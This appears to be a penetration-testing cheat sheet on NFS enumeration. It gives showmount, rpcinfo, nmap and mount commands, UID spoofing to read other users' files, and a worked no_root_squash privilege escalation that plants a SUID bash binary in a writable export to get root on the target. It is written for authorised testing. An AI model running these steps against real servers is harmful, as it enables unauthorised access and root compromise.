NFS enumeration

Field Detail
Summary Find and mount NFS exports; no_root_squash privesc
Category NFS enumeration
Phase enumeration, exploitation, post-exploitation
Interface CLI
Platform Linux
Licence Open source
Docs https://linux.die.net/man/8/showmount
Related Nmap, Privilege escalation enumeration, SMB and Active Directory enumeration

NFS (#tcp/2049, via the portmapper/rpcbind on #tcp/111) shares filesystems over the network. Misconfigured exports let you read or write other users' files, and the classic no_root_squash option turns a writable export into local-root on the server. Enumerate the exports, mount them, and check the squash settings.

⚠️ Warning — Scope Mounting and especially writing to exports is active and can alter the target. The no_root_squash privesc modifies the server — in-scope, authorised testing only.

1. Enumerate RPC + exports

rpcinfo -p 10.10.10.5                       # list RPC services (is nfs/mountd/rpcbind present?)
showmount -e 10.10.10.5                      # list exported shares and who can mount them
showmount -a 10.10.10.5                      # all current mounts (host:dir)
showmount -d 10.10.10.5                      # just the exported directories
nmap -p111,2049 --script nfs-ls,nfs-showmount,nfs-statfs 10.10.10.5   # Nmap equivalent

showmount -e output like /srv/share * (exported to everyone) or ... 10.0.0.0/24 tells you what you can mount and from where.

2. Mount an export

sudo mkdir -p /mnt/nfs
sudo mount -t nfs 10.10.10.5:/srv/share /mnt/nfs -o nolock
sudo mount -t nfs -o vers=3 10.10.10.5:/srv/share /mnt/nfs   # force NFSv3 if v4 misbehaves
ls -lan /mnt/nfs                              # note numeric UIDs/GIDs on the files
sudo umount /mnt/nfs

3. Abuse misconfigurations

UID/GID spoofing — NFS (v3) trusts the client's UID. If a sensitive file is owned by UID 1005, create a matching local user and read it:

sudo useradd -u 1005 victim && sudo -u victim cat /mnt/nfs/private/notes.txt

no_root_squash → local root on the server — if an export shows no_root_squash (root on the client is treated as root on the server), drop a root-owned SUID binary into the share and run it on the target:

# as root on YOUR box, into the mounted writable export:
cp /bin/bash /mnt/nfs/rootbash && chmod +s /mnt/nfs/rootbash
# then on the TARGET (your low-priv shell): /srv/share/rootbash -p   -> root

Export options to look for

Option Implication
no_root_squash Client root = server root → SUID-binary privesc
rw Writable → drop payloads / SUID binaries
insecure Allows connections from high source ports (non-root clients)
* (in the client field) Exported to the whole world
root_squash (default) Client root mapped to nobody — privesc blocked

Worked example

showmount -e 10.10.10.5
# -> /home *(rw,no_root_squash)
sudo mount -t nfs 10.10.10.5:/home /mnt/nfs -o nolock
cp /bin/bash /mnt/nfs/rootbash && chmod +s /mnt/nfs/rootbash
# on target: /home/rootbash -p   # effective UID 0

showmount -e reveals /home exported rw with no_root_squash; mount it, plant a SUID bash, and execute it on the target for an instant root shell — a textbook NFS privesc.

Kill-chain usage

Enumeration

showmount -e 10.10.10.5                  # list exported shares

Exploitation

sudo mount -t nfs 10.10.10.5:/export /mnt/nfs -o nolock   # mount a writable export

Post-exploitation

# no_root_squash: plant a SUID root binary on the share -> root on target

Where it fits

Runs when Nmap shows #tcp/111 / #tcp/2049. Readable exports loot data; writable + no_root_squash exports are a direct privilege-escalation path. On Windows estates NFS is rarer — SMB and Active Directory enumeration is the equivalent file-share surface.